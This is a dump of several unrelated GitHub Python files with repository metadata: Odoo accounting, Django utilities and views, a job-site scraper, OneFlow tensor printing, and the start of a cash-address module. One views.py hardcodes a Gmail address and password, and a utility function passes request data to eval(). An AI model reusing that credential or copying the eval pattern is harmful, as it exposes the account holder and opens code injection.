self.quantity,\n            'product_id': self.product_id and self.product_id.id or False,\n            'product_uom_id': self.product_uom_id and self.product_uom_id.id or False,\n            'amount': amount,\n            'general_account_id': self.account_id.id,\n            'ref': self.ref,\n            'move_line_id': self.id,\n            'user_id': self.move_id.user_id.id or self._uid,\n            'company_id': self.account_id.company_id.id or self.env.user.company_id.id,\n            'branch_id' : self.bsg_branches_id and self.bsg_branches_id.id or False,\n            'fleet_vehicle_id' : self.fleet_vehicle_id and self.fleet_vehicle_id.id or False,\n            'trailer_id' : self.trailer_id and self.trailer_id.id or False,\n            'department_id': self.department_id and self.department_id.id or False,\n        }\n    # Migration ToDo Note\n    # debit = fields.Float(default=0.0, currency_field='company_currency_id', digits=dp.get_precision('Vouchers'))\n    # credit = fields.Float(default=0.0, currency_field='company_currency_id', digits=dp.get_precision('Vouchers'))\n    amount_currency = fields.Float(default=0.0, help=\"The amount expressed in an optional other currency if it is a multi-currency entry.\", digits=dp.get_precision('Vouchers'))\n    \n    # branch_id = fields.Many2one('res.partner', string='Branch Customer')\n    branch_name = fields.Char('Branch Customer ')\n    bsg_branches_id = fields.Many2one('bsg_branches.bsg_branches', string=\"Branch ID\")\n    department_id = fields.Many2one('hr.department',string=\"Departments\")\n    fleet_vehicle_id = fields.Many2one('fleet.vehicle',string=\"Truck\")\n\n    #override to used voucher line accont and analytic account\n    @api.model\n    def create(self, vals):\n        # if not vals.get('account_id'):\n        #     raise UserError(_(\"Be sure you have Defined Account in Partner or Journal\"))\n        payment = self.env['account.payment'].search([('id','=',vals.get('payment_id'))])\n        if payment.payment_type == 'inbound':\n            if vals.get('credit') != 0.0 and not vals.get('invoice_id'):\n                if len(payment.voucher_line_ids) != 0:\n                    vals['account_id'] = payment.voucher_line_ids[0].account_id.id\n                    vals['analytic_account_id'] = payment.voucher_line_ids[0].analytic_id.id\n            if vals.get('debit') != 0.0 and not vals.get('invoice_id'):\n                if len(payment.voucher_line_ids) != 0:\n                    vals['account_id'] = payment.journal_id.default_account_id.id\n        if vals.get('payment_id'):\n            payment = self.env['account.payment'].search([('id','=',vals.get('payment_id'))])\n            if payment.payment_type == 'outbound':\n                if vals.get('credit') != 0.0 and not vals.get('invoice_id'):\n                    if len(payment.voucher_line_ids) != 0:\n                        vals['account_id'] = payment.journal_id.default_account_id.id\n                if vals.get('debit') != 0.0 and not vals.get('invoice_id'):\n                    if len(payment.voucher_line_ids) != 0:\n                        vals['account_id'] = payment.voucher_line_ids[0].account_id.id\n                        vals['analytic_account_id'] = payment.voucher_line_ids[0].analytic_id.id\n        res = super(AccountMoveLine, self).create(vals)        \n        if res.move_id and not res.bsg_branches_id:\n            res.update({'bsg_branches_id' : res.move_id.loc_from.loc_branch_id.id})\n        if not res.bsg_branches_id and res.payment_id:\n            res.update({'bsg_branches_id' : res.payment_id.branch_ids.id})\n        return res\n","repo_name":"tabishturabi/S_V_16_temp_v1","sub_path":"payments_enhanced/models/account_move_inherit_line.py","file_name":"account_move_inherit_line.py","file_ext":"py","file_size_in_byte":10358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26120707825","text":"# -*- coding: utf-8 -*-\nimport time\nimport hashlib\nimport json\n\nimport logging\n\nlogger = logging.getLogger('log')\n\n\ndef getBodyData(data):\n    \"\"\"\n    通用方法，将前端穿过来得数据处理成字典\n    :param data:\n    :return:\n    \"\"\"\n    try:\n        if isinstance(data, bytes):\n            data = json.loads(data.decode())\n        else:\n            data = eval(data)\n        return data\n    except Exception as e:\n        logger.error('处理成字典异常{}'.format(e))\n    finally:\n        return data\n\n\ndef md5(username):\n    \"\"\"\n    获取token\n    :param username:\n    :return:\n    \"\"\"\n    now = str(time.time())\n    md5_obj = hashlib.md5(bytes(username + 'mamahaotest', encoding='utf8'))\n    md5_obj.update(bytes(now, encoding='utf8'))\n    return md5_obj.hexdigest()\n\n\ndef get_target_value(key, dic, tmp_list):\n    \"\"\"\n    循环遍历对应的字段,并将数据保存为列表\n    :param key: 目标key值\n    :param dic: JSON数据\n    :param tmp_list: 用于存储获取的数据\n    :return: list\n    \"\"\"\n    if not isinstance(dic, dict) or not isinstance(tmp_list, list):\n        logger.error('这个不是字典类型或者这个不是列表类型')\n        return '这个不是字典类型或者这个不是列表类型'\n    if key in dic.keys():\n        tmp_list.append(dic[key])\n    else:\n        for value in dic.values():\n            if isinstance(value, dict):\n                get_target_value(key, value, tmp_list)\n            elif isinstance(value, (list, tuple)):\n                _get_value(key, value, tmp_list)\n    return tmp_list\n\n\ndef _get_value(key, val, tmp_list):\n    for val_ in val:\n        if isinstance(val_, dict):\n            get_target_value(key, val_, tmp_list)\n        elif isinstance(val_, (list, tuple)):\n            _get_value(key, val_, tmp_list)\n\n\ndef isDictVuleNone(data):\n    \"\"\"\n    删除页码，判断这个参数是否为空\n    :param data:字典类型\n    :return:\n    \"\"\"\n    lists = []\n    for key in list(data.keys()):\n        if key == 'page' or key == 'pageSize':\n            del data[key]\n        else:\n            if data[key] == '':\n                del data[key]\n            else:\n                lists.append(data[key])\n    if lists:\n        return True\n    else:\n        return False\n\n\ndef isNone(data):\n    \"\"\"\n    判断数据是否为空\n    :param data:\n    :return:\n    \"\"\"\n    if data is None:\n        return ''\n    else:\n        return data","repo_name":"lzj1993128/AutomationPlatform","sub_path":"AutomationPlatformDjango/common/base/baseClass.py","file_name":"baseClass.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6995275953","text":"from django.urls import path\nfrom . import views\n\napp_name = 'custom_user'\n\nurlpatterns = [\n    path(\"registration/\", views.RegisterUser.as_view(), name='registration'),\n    path(\"create-user/\", views.CreateUser.as_view(), name='create-user'),\n    path('list-user/', views.ListExtendUser.as_view(), name='list-user'),\n    path(\"detail-user/<int:pk>\", views.DetailUser.as_view(), name='detail-user'),\n    path(\"delete-user/<int:pk>/\", views.DeleteUser.as_view(), name='delete-user'),\n    path('update-user/<int:pk>', views.UpdateUser.as_view(), name='update-user'),\n    path('update-extenduser/<int:pk>', views.UpdateExtendUser.as_view(), name='update-extenduser'),\n\n]\n","repo_name":"MaksimIvanovBlr/book_shop","sub_path":"src/custom_user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38789768617","text":"from __future__ import annotations\n\nimport logging\n\nfrom latexbuddy import colour\n\nLOG_LEVEL_COLORS: dict[str, str] = {\n    \"DEBUG\": colour.BLACK_ON_WHITE,\n    \"INFO\": \"\",\n    \"WARNING\": colour.BLACK_ON_YELLOW,\n    \"ERROR\": colour.ON_RED,\n    \"CRITICAL\": colour.ON_RED,\n}\n\n\nclass ConsoleFormatter(logging.Formatter):\n    \"\"\"Log formatter for console output.\n\n    This formatter outputs the severity, written with a respective\n    colour, ans the message itself.\n    \"\"\"\n\n    def __init__(self, *, enable_colour: bool = True) -> None:\n        super().__init__(\"%(message)s\")\n        self.colour: bool = enable_colour\n\n    def format(self, record: logging.LogRecord) -> str:\n        if self.colour:\n            level_msg = f\"{LOG_LEVEL_COLORS[record.levelname]}\" \\\n                        f\"[{record.levelname}]\" \\\n                        f\"{colour.RESET_ALL}\"\n        else:\n            level_msg = f\"[{record.levelname}]\"\n\n        return f\"{level_msg} {super().format(record)}\"\n","repo_name":"LaTeXBuddy/LaTeXBuddy","sub_path":"latexbuddy/logging_formatter.py","file_name":"logging_formatter.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"18709921983","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\nimport openpyxl\nimport re\n\ndef data_clean(text):\n    # 清洗excel中的非法字符，都是不常见的不可显示字符，例如退格，响铃等\n    ILLEGAL_CHARACTERS_RE = re.compile(r\"[\\000-\\010]|[\\013-\\014]|[\\016-\\037]\")\n    text = ILLEGAL_CHARACTERS_RE.sub(r\"\", text)\n    return text\n\n#抓取並解析網頁資料\nurl =\"https://www.104.com.tw/jobs/search/?keyword=%E5%A4%A7%E6%95%B8%E6%93%9A&order=1&jobsource=2018indexpoc&ro=0\"\nres = requests.get(url)\nsoup = BeautifulSoup(res.text)\npage = 1\n\nwb = openpyxl.Workbook()\nws = wb.active\n\nws[\"A1\"] = \"職位名稱\"\nws[\"B1\"] = \"公司名稱\"\nws[\"C1\"] = \"工作地區\"\nws[\"D1\"] = \"職缺薪資\"\nws[\"E1\"] = \"職缺連結\"\n\nwhile soup.find_all('article',class_=\"b-block--top-bord job-list-item b-clearfix js-job-item\") !=[]:\n    print(\"===================================================\")\n    print(f\"現在正在讀取{page}頁...\")\n    print(\"===================================================\")\n    #針對最小資造<job>組成資料集中的個別標籤，<article>，做同一件事情\n    for job in soup.find_all('article',class_=\"b-block--top-bord job-list-item b-clearfix js-job-item\"):\n        #印出5個目標欄位\n        jobName = job.a.text#職缺名稱\n        company = job.select('li')[1].a.text.strip()#公司名稱\n        area = job.find('ul',class_=\"b-list-inline b-clearfix job-list-intro b-content\").li.text#工作地區\n        #如果span標籤不存在<搜索span標籤回傳空list>，則印出a.text，否則印出span.text待遇面議\n        if job.find('div',class_=\"job-list-tag b-content\").select('span')==[]:#薪資\n            salary = job.find('div',class_=\"job-list-tag b-content\").a.text\n        else:\n            salary = job.find('div',class_=\"job-list-tag b-content\").span.text\n        web = \"https:\"+job.a['href']#連結\n        \n        ws.append([data_clean(jobName),company,area,salary,web])\n        \n        \n    page+=1\n    url = f\"https://www.104.com.tw/jobs/search/?ro=0&kwop=7&keyword=%E5%A4%A7%E6%95%B8%E6%93%9A&expansionType=area%2Cspec%2Ccom%2Cjob%2Cwf%2Cwktm&order=12&asc=0&mode=s&jobsource=2018indexpoc&langFlag=0&langStatus=0&recommendJob=1&hotJob=1&page={str(page)}\"\n    res = requests.get(url)\n    soup = BeautifulSoup(res.text)\n    wb.save(\"104大數據05221.xlsx\")\n    time.sleep(1)","repo_name":"lin880005/web-crawler","sub_path":"spyder104.py","file_name":"spyder104.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"3056462218","text":"from django.shortcuts import render\n\n# Create your views here.\n\nimport smtplib\ncontent=\"hello Welcome to Ismail Basha\"\nserver=smtplib.SMTP('smtp.gmail.com',587)\nserver.ehlo()\nserver.starttls()\nserver.login('vamsi9477@gmail.com','vamsi66@V')\nserver.sendmail('vamsi9477@gmail.com','skismail094@yahoo.com',content)\nserver.quit()\n\n\ndef showindex(request):\n    return render(request,\"index.html\")","repo_name":"krishna9477/EmailSending","sub_path":"app1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32571158356","text":"import numpy as np\nimport math\nfrom typing import Optional\n\nimport oneflow as flow\n\n\nclass __PrinterOptions(object):\n    precision: int = 4\n    threshold: float = 1000\n    edgeitems: int = 3\n    linewidth: int = 80\n    sci_mode: Optional[bool] = None\n\n\nPRINT_OPTS = __PrinterOptions()\n\n\ndef _try_convert_to_local_tensor(tensor):\n    if tensor.is_consistent:\n        tensor = tensor.to_consistent(\n            placement=flow.env.all_device_placement(tensor.placement.device_type),\n            sbp=flow.sbp.broadcast,\n        ).to_local()\n    return tensor\n\n\nclass _Formatter(object):\n    def __init__(self, tensor):\n        self.floating_dtype = tensor.dtype.is_floating_point\n        self.int_mode = True\n        self.sci_mode = False\n        self.max_width = 1\n        self.random_sample_num = 50\n        tensor = _try_convert_to_local_tensor(tensor)\n\n        with flow.no_grad():\n            tensor_view = tensor.reshape(-1)\n\n        if not self.floating_dtype:\n            for value in tensor_view:\n                value_str = \"{}\".format(value)\n                self.max_width = max(self.max_width, len(value_str))\n\n        else:\n            nonzero_finite_vals = flow.masked_select(tensor_view, tensor_view.ne(0))\n            if nonzero_finite_vals.numel() == 0:\n                # no valid number, do nothing\n                return\n\n            nonzero_finite_abs = nonzero_finite_vals.abs()\n            nonzero_finite_min = nonzero_finite_abs.min().numpy().astype(np.float64)\n            nonzero_finite_max = nonzero_finite_abs.max().numpy().astype(np.float64)\n\n            for value in nonzero_finite_abs.numpy():\n                if value != np.ceil(value):\n                    self.int_mode = False\n                    break\n\n            if self.int_mode:\n                # Check if scientific representation should be used.\n                if (\n                    nonzero_finite_max / nonzero_finite_min > 1000.0\n                    or nonzero_finite_max > 1.0e8\n                ):\n                    self.sci_mode = True\n                    for value in nonzero_finite_vals:\n                        value_str = (\n                            (\"{{:.{}e}}\").format(PRINT_OPTS.precision).format(value)\n                        )\n                        self.max_width = max(self.max_width, len(value_str))\n                else:\n                    for value in nonzero_finite_vals:\n                        value_str = (\"{:.0f}\").format(value)\n                        self.max_width = max(self.max_width, len(value_str) + 1)\n            else:\n                if (\n                    nonzero_finite_max / nonzero_finite_min > 1000.0\n                    or nonzero_finite_max > 1.0e8\n                    or nonzero_finite_min < 1.0e-4\n                ):\n                    self.sci_mode = True\n                    for value in nonzero_finite_vals:\n                        value_str = (\n                            (\"{{:.{}e}}\").format(PRINT_OPTS.precision).format(value)\n                        )\n                        self.max_width = max(self.max_width, len(value_str))\n                else:\n                    for value in nonzero_finite_vals:\n                        value_str = (\n                            (\"{{:.{}f}}\").format(PRINT_OPTS.precision).format(value)\n                        )\n                        self.max_width = max(self.max_width, len(value_str))\n\n        if PRINT_OPTS.sci_mode is not None:\n            self.sci_mode = PRINT_OPTS.sci_mode\n\n    def width(self):\n        return self.max_width\n\n    def format(self, value):\n        if self.floating_dtype:\n            if self.sci_mode:\n                ret = (\n                    (\"{{:{}.{}e}}\")\n                    .format(self.max_width, PRINT_OPTS.precision)\n                    .format(value)\n                )\n            elif self.int_mode:\n                ret = \"{:.0f}\".format(value)\n                if not (math.isinf(value) or math.isnan(value)):\n                    ret += \".\"\n            else:\n                ret = (\"{{:.{}f}}\").format(PRINT_OPTS.precision).format(value)\n        else:\n            ret = \"{}\".format(value)\n        return (self.max_width - len(ret)) * \" \" + ret\n\n\ndef _scalar_str(self, formatter1):\n    return formatter1.format(_try_convert_to_local_tensor(self).tolist())\n\n\ndef _vector_str(self, indent, summarize, formatter1):\n    # length includes spaces and comma between elements\n    element_length = formatter1.width() + 2\n    elements_per_line = max(\n        1, int(math.floor((PRINT_OPTS.linewidth - indent) / (element_length)))\n    )\n    char_per_line = element_length * elements_per_line\n\n    def _val_formatter(val, formatter1=formatter1):\n        return formatter1.format(val)\n\n    if summarize and self.size(0) > 2 * PRINT_OPTS.edgeitems:\n        left_values = _try_convert_to_local_tensor(\n            self[: PRINT_OPTS.edgeitems]\n        ).tolist()\n        right_values = _try_convert_to_local_tensor(\n            self[-PRINT_OPTS.edgeitems :]\n        ).tolist()\n        data = (\n            [_val_formatter(val) for val in left_values]\n            + [\" ...\"]\n            + [_val_formatter(val) for val in right_values]\n        )\n    else:\n        values = _try_convert_to_local_tensor(self).tolist()\n        data = [_val_formatter(val) for val in values]\n\n    data_lines = [\n        data[i : i + elements_per_line] for i in range(0, len(data), elements_per_line)\n    ]\n    lines = [\", \".join(line) for line in data_lines]\n    return \"[\" + (\",\" + \"\\n\" + \" \" * (indent + 1)).join(lines) + \"]\"\n\n\ndef _tensor_str_with_formatter(self, indent, summarize, formatter1):\n    dim = self.dim()\n\n    if dim == 0:\n        return _scalar_str(self, formatter1)\n\n    if dim == 1:\n        return _vector_str(self, indent, summarize, formatter1)\n\n    if summarize and self.size(0) > 2 * PRINT_OPTS.edgeitems:\n        slices = (\n            [\n                _tensor_str_with_formatter(self[i], indent + 1, summarize, formatter1)\n                for i in range(0, PRINT_OPTS.edgeitems)\n            ]\n            + [\"...\"]\n            + [\n                _tensor_str_with_formatter(self[i], indent + 1, summarize, formatter1)\n                for i in range(self.shape[0] - PRINT_OPTS.edgeitems, self.shape[0])\n            ]\n        )\n    else:\n        slices = [\n            _tensor_str_with_formatter(self[i], indent + 1, summarize, formatter1)\n            for i in range(0, self.size(0))\n        ]\n\n    tensor_str = (\",\" + \"\\n\" * (dim - 1) + \" \" * (indent + 1)).join(slices)\n    return \"[\" + tensor_str + \"]\"\n\n\ndef _tensor_str(self, indent):\n    summarize = self.numel() > PRINT_OPTS.threshold\n    if self.dtype is flow.float16:\n        self = self.float()\n\n    # TODO: not support nd sbp tensor for now\n    if self.is_consistent and len(self.placement.hierarchy) > 1:\n        return \"[...]\"\n\n    with flow.no_grad():\n        formatter = _Formatter(get_summarized_data(self) if summarize else self)\n        return _tensor_str_with_formatter(self, indent, summarize, formatter)\n\n\ndef _add_suffixes(tensor_str, suffixes, indent):\n    tensor_strs = [tensor_str]\n    last_line_len = len(tensor_str) - tensor_str.rfind(\"\\n\") + 1\n    for suffix in suffixes:\n        suffix_len = len(suffix)\n        if last_line_len + suffix_len + 2 > PRINT_OPTS.linewidth:\n            tensor_strs.append(\",\\n\" + \" \" * indent + suffix)\n            last_line_len = indent + suffix_len\n        else:\n            tensor_strs.append(\", \" + suffix)\n            last_line_len += suffix_len + 2\n    tensor_strs.append(\")\")\n    return \"\".join(tensor_strs)\n\n\ndef get_summarized_data(self):\n    dim = self.dim()\n    if dim == 0:\n        return self\n    if dim == 1:\n        if self.size(0) > 2 * PRINT_OPTS.edgeitems:\n            return flow.cat(\n                (self[: PRINT_OPTS.edgeitems], self[-PRINT_OPTS.edgeitems :])\n            )\n        else:\n            return self\n    if self.size(0) > 2 * PRINT_OPTS.edgeitems:\n        start = [self[i] for i in range(0, PRINT_OPTS.edgeitems)]\n        end = [\n            self[i] for i in range(self.shape[0] - PRINT_OPTS.edgeitems, self.shape[0])\n        ]\n        return flow.stack([get_summarized_data(x) for x in (start + end)])\n    else:\n        return flow.stack([get_summarized_data(x) for x in self])\n\n\ndef _gen_tensor_str_template(tensor, is_meta):\n    is_meta = is_meta or tensor.is_lazy\n    prefix = \"tensor(\"\n    indent = len(prefix)\n    suffixes = []\n\n    # tensor is local or consistent\n    if tensor.is_consistent:\n        suffixes.append(f\"placement={str(tensor.placement)}\")\n        suffixes.append(f\"sbp={str(tensor.sbp)}\")\n    elif tensor.device.type == \"cuda\" or tensor.device.type == \"gpu\":\n        suffixes.append(\"device='\" + str(tensor.device) + \"'\")\n    elif tensor.device.type != \"cpu\":\n        raise RunTimeError(\"unknow device type\")\n    if tensor.is_lazy:\n        suffixes.append(\"is_lazy='True'\")\n\n    # tensor is empty, meta or normal\n    if tensor.numel() == 0:\n        # Explicitly print the shape if it is not (0,), to match NumPy behavior\n        if tensor.dim() != 1:\n            suffixes.append(\"size=\" + str(tuple(tensor.shape)))\n        tensor_str = \"[]\"\n    elif is_meta:\n        tensor_str = \"...\"\n        suffixes.append(\"size=\" + str(tuple(tensor.shape)))\n    else:\n        tensor_str = _tensor_str(tensor, indent)\n\n    suffixes.append(\"dtype=\" + str(tensor.dtype))\n    if tensor.grad_fn is not None:\n        name = tensor.grad_fn.name()\n        suffixes.append(\"grad_fn=<{}>\".format(name))\n    elif tensor.requires_grad:\n        suffixes.append(\"requires_grad=True\")\n\n    return _add_suffixes(prefix + tensor_str, suffixes, indent)\n\n\ndef _gen_tensor_str(tensor):\n    return _gen_tensor_str_template(tensor, False)\n\n\ndef _gen_tensor_meta_str(tensor):\n    # meta\n    return _gen_tensor_str_template(tensor, True)\n","repo_name":"WangHuiNEU/oneflow","sub_path":"python/oneflow/framework/tensor_str.py","file_name":"tensor_str.py","file_ext":"py","file_size_in_byte":9778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"36436357642","text":"import numpy as np\nimport cv2\nimport json\n\nBASE_DIR = \"data\"\n\nclass frameSet():\n\n    def __init__(self):\n        self.ts = 0.0\n\n        self.frame_num = 0\n        self.frameRGB = None\n        self.frameDepth = None\n        self.frameSkeleton = None\n        self.frameDepthQuantized = None\n        self.bodyJoints = np.array([])\n        self.bodyJoints3D = np.array([])\n        self.bodyJointsRGB = np.array([])\n        self.bodyJointState = np.array([])\n        self.body_tracked = False\n\n        self.orientation_euler = {\n            \"roll\": 0.0000,\n            \"pitch\": 0.0000,\n            \"yaw\": 0.0000\n        }\n        self.orientation_quat = np.array([0.0000,0.0000,0.0000,0.0000])\n\n        self.shoulder_orientation_euler = {\n            \"roll\": 0.0000,\n            \"pitch\": 0.0000,\n            \"yaw\": 0.0000\n        }\n        self.shoulder_orientation_quat = np.array([0.0000,0.0000,0.0000,0.0000])\n\n    def save_img(self, dir_name, save_rgb=True):\n        if self.frameRGB is not None and save_rgb:\n            # h,w = self.frameRGB.shape[:2]\n            # cv2.imwrite(dir_name+\"/RGB/%06d_RGB.png\" % self.frame_num, self.frameRGB[:,int(w/4.5):-int(w/4.5)])\n            cv2.imwrite(dir_name+\"/RGB/%06d_RGB.png\" % self.frame_num, self.frameRGB)\n        if self.frameDepth is not None:\n            cv2.imwrite(dir_name+\"/DEPTH/%06d_DEPTH.png\" % self.frame_num, self.frameDepth)\n        # if self.frameSkeleton is not None:\n        #     cv2.imwrite(dir_name+\"/Skeleton/%06d_Skel.png\" % self.frame_num, self.frameSkeleton)\n\n    def to_json(self):\n        js = {\n            \"ts\": self.ts,\n            \"frame_num\": self.frame_num,\n            \"orientation\": {\n                \"euler\": self.orientation_euler,\n                \"quaternion\": list(self.orientation_quat.astype(float))\n            },\n            \"shoulder_orientation\": {\n                \"euler\": self.shoulder_orientation_euler,\n                \"quaternion\": list(self.shoulder_orientation_quat.astype(float))\n            },\n            \"joints\": [(bj.x, bj.y) for bj in self.bodyJoints],\n            \"joints3D\": [(bj.x, bj.y, bj.z) for bj in self.bodyJoints3D],\n            \"jointsRGB\": [(bj.x, bj.y) for bj in self.bodyJointsRGB],\n            \"jointsState\": [bj for bj in self.bodyJointState]\n        }\n        return json.dumps(js)\n\n    def to_str(self):\n        s = \"{}\\t\".format(self.ts)\n        s += \"%06d\\t\" % self.frame_num\n\n        s += \"{}\\t\".format(self.orientation_euler[\"roll\"])\n        s += \"{}\\t\".format(self.orientation_euler[\"pitch\"])\n        s += \"{}\\t\".format(self.orientation_euler[\"yaw\"])\n\n        s += \"{}\\t\".format(self.orientation_quat[0])\n        s += \"{}\\t\".format(self.orientation_quat[1])\n        s += \"{}\\t\".format(self.orientation_quat[2])\n        s += \"{}\\t\".format(self.orientation_quat[3])\n\n        s += \"{}\\t\".format(self.shoulder_orientation_euler[\"roll\"])\n        s += \"{}\\t\".format(self.shoulder_orientation_euler[\"pitch\"])\n        s += \"{}\\t\".format(self.shoulder_orientation_euler[\"yaw\"])\n\n        s += \"{}\\t\".format(self.shoulder_orientation_quat[0])\n        s += \"{}\\t\".format(self.shoulder_orientation_quat[1])\n        s += \"{}\\t\".format(self.shoulder_orientation_quat[2])\n        s += \"{}\\t\".format(self.shoulder_orientation_quat[3])\n\n        # for j in self.bodyJoints:\n        #     s += \"{}\\t{}\\t\".format(j.x,j.y)\n        s_joints = [\"{}\\t{}\\t\".format(j.x,j.y) for j in self.bodyJoints]\n        s += \"\".join(s_joints)\n\n        s_joints = [\"{}\\t{}\\t{}\\t\".format(j.x, j.y, j.z) for j in self.bodyJoints3D]\n        s += \"\".join(s_joints)\n\n        s_joints = [\"{}\\t{}\\t\".format(j.x, j.y) for j in self.bodyJointsRGB]\n        s += \"\".join(s_joints)\n\n        s_joints = [\"{}\\t\".format(j) for j in self.bodyJointState]\n        s += \"\".join(s_joints)\n\n        return s\n\n    # @classmethod\n    # def save_list(cls, frames, dir_name):\n    #     dir_name = BASE_DIR+\"/\"+str(dir_name)\n    #     if os.path.isdir(dir_name):\n    #         # raise OSError(\"Directory already exists\")\n    #         print \"Directory already exists\"\n    #         try:\n    #             for i in range(1,100):\n    #                 if not os.path.isdir(dir_name+\"({})\".format(i)):\n    #                     dir_name += \"({})\".format(i)\n    #                     break\n    #         except:\n    #             raise OSError(\"Directory already exists\")\n    #\n    #     os.mkdir(dir_name)\n    #     os.mkdir(dir_name+\"/RGB\")\n    #     os.mkdir(dir_name+\"/DEPTH\")\n    #     os.mkdir(dir_name+\"/Skeleton\")\n    #\n    #     with open(dir_name+\"/data.txt\", \"w\") as f_txt, open(dir_name+\"/data.json\", \"w\") as f_json:\n    #         l_json = {}\n    #         # f_txt.write(\"\\n\")\n    #         for i,f in enumerate(frames):\n    #             f.frame_num = i\n    #             l_json[\"%06d\" % i] = f.to_json()\n    #             f_txt.write(f.to_str()+\"\\n\")\n    #             f.save_img(dir_name)\n    #         json.dump(l_json, f_json, indent=2)","repo_name":"venturelli-marco/AcquisitionFramework","sub_path":"model/frameSet.py","file_name":"frameSet.py","file_ext":"py","file_size_in_byte":4911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"37870904960","text":"from __future__ import annotations\n\nimport abc\nimport hashlib\nimport struct\nfrom collections import namedtuple\nfrom typing import List, Optional, Tuple, Union\n\nfrom . import cashaddr, networks\nfrom .bitcoin import (\n    ECKey,\n    OpCodes,\n    ScriptType,\n    hash_160,\n    is_minikey,\n    minikey_to_private_key,\n    push_script_bytes,\n)\nfrom .constants import WHITELISTED_PREFIXES, WHITELISTED_TESTNET_PREFIXES\nfrom .util import cachedproperty\n\n_sha256 = hashlib.sha256\nhex_to_bytes = bytes.fromhex\n\n\nclass DestinationType(abc.ABC):\n    \"\"\"Base class for TxOutput destination types\"\"\"\n\n    @abc.abstractmethod\n    def to_ui_string(self) -> str:\n        pass\n\n\nclass AddressError(Exception):\n    \"\"\"Exception used for Address errors.\"\"\"\n\n\nclass ScriptError(Exception):\n    \"\"\"Exception used for Script errors.\"\"\"\n\n\nP2PKH_prefix = bytes([OpCodes.OP_DUP, OpCodes.OP_HASH160, 20])\nP2PKH_suffix = bytes([OpCodes.OP_EQUALVERIFY, OpCodes.OP_CHECKSIG])\n\nP2SH_prefix = bytes([OpCodes.OP_HASH160, 20])\nP2SH_suffix = bytes([OpCodes.OP_EQUAL])\n\n# Utility functions\n\n\ndef to_bytes(x):\n    \"\"\"Convert to bytes which is hashable.\"\"\"\n    if isinstance(x, bytes):\n        return x\n    if isinstance(x, bytearray):\n        return bytes(x)\n    raise TypeError(\"{} is not bytes ({})\".format(x, type(x)))\n\n\ndef hash_to_hex_str(x):\n    \"\"\"Convert a big-endian binary hash to displayed hex string.\n\n    Display form of a binary hash is reversed and converted to hex.\n    \"\"\"\n    return bytes(reversed(x)).hex()\n\n\ndef hex_str_to_hash(x):\n    \"\"\"Convert a displayed hex string to a binary hash.\"\"\"\n    return bytes(reversed(hex_to_bytes(x)))\n\n\ndef bytes_to_int(be_bytes):\n    \"\"\"Interprets a big-endian sequence of bytes as an integer\"\"\"\n    return int.from_bytes(be_bytes, \"big\")\n\n\ndef int_to_bytes(value):\n    \"\"\"Converts an integer to a big-endian sequence of bytes\"\"\"\n    return value.to_bytes((value.bit_length() + 7) // 8, \"big\")\n\n\ndef sha256(x):\n    \"\"\"Simple wrapper of hashlib sha256.\"\"\"\n    return _sha256(x).digest()\n\n\ndef double_sha256(x):\n    \"\"\"SHA-256 of SHA-256, as used extensively in bitcoin.\"\"\"\n    return sha256(sha256(x))\n\n\nclass UnknownAddress(DestinationType):\n    def to_ui_string(self):\n        return \"<UnknownAddress>\"\n\n    def __str__(self):\n        return self.to_ui_string()\n\n    def __repr__(self):\n        return self.to_ui_string()\n\n\nclass PublicKey(namedtuple(\"PublicKeyTuple\", \"pubkey\")):\n    TO_ADDRESS_OPS = [\n        OpCodes.OP_DUP,\n        OpCodes.OP_HASH160,\n        -1,\n        OpCodes.OP_EQUALVERIFY,\n        OpCodes.OP_CHECKSIG,\n    ]\n\n    @classmethod\n    def from_pubkey(cls, pubkey):\n        \"\"\"Create from a public key expressed as binary bytes.\"\"\"\n        if isinstance(pubkey, str):\n            pubkey = hex_to_bytes(pubkey)\n        cls.validate(pubkey)\n        return cls(to_bytes(pubkey))\n\n    @classmethod\n    def privkey_from_WIF_privkey(cls, WIF_privkey, *, net=None):\n        \"\"\"Given a WIF private key (or minikey), return the private key as\n        binary and a boolean indicating whether it was encoded to\n        indicate a compressed public key or not.\n        \"\"\"\n        if net is None:\n            net = networks.net\n        if is_minikey(WIF_privkey):\n            # The Casascius coins were uncompressed\n            return minikey_to_private_key(WIF_privkey), False\n        raw = Base58.decode_check(WIF_privkey)\n        if not raw:\n            raise ValueError(\"Private key WIF decode error; unable to decode.\")\n        if raw[0] != net.WIF_PREFIX:\n            # try and generate a helpful error message as this propagates up to the UI if they are creating a new wallet.\n            extra = \"\"\n            if int(raw[0] - net.WIF_PREFIX) in iter(ScriptType):\n                extra = (\n                    \"; this corresponds to a key of type: '{}' which is unsupported for\"\n                    \" importing from WIF key.\".format(\n                        ScriptType(int(raw[0] - net.WIF_PREFIX)).name\n                    )\n                )\n            raise ValueError(\n                \"Private key has invalid WIF version byte (expected: 0x{:x} got:\"\n                \" 0x{:x}){}\".format(net.WIF_PREFIX, raw[0], extra)\n            )\n        if len(raw) == 34 and raw[-1] == 1:\n            return raw[1:33], True\n        if len(raw) == 33:\n            return raw[1:], False\n        raise ValueError(\"invalid private key\")\n\n    @classmethod\n    def from_WIF_privkey(cls, WIF_privkey) -> PublicKey:\n        \"\"\"Create a compressed or uncompressed public key from a private\n        key.\"\"\"\n        privkey, compressed = cls.privkey_from_WIF_privkey(WIF_privkey)\n        ec_key = ECKey(privkey)\n        return cls.from_pubkey(ec_key.GetPubKey(compressed))\n\n    @classmethod\n    def from_string(cls, string):\n        \"\"\"Create from a hex string.\"\"\"\n        return 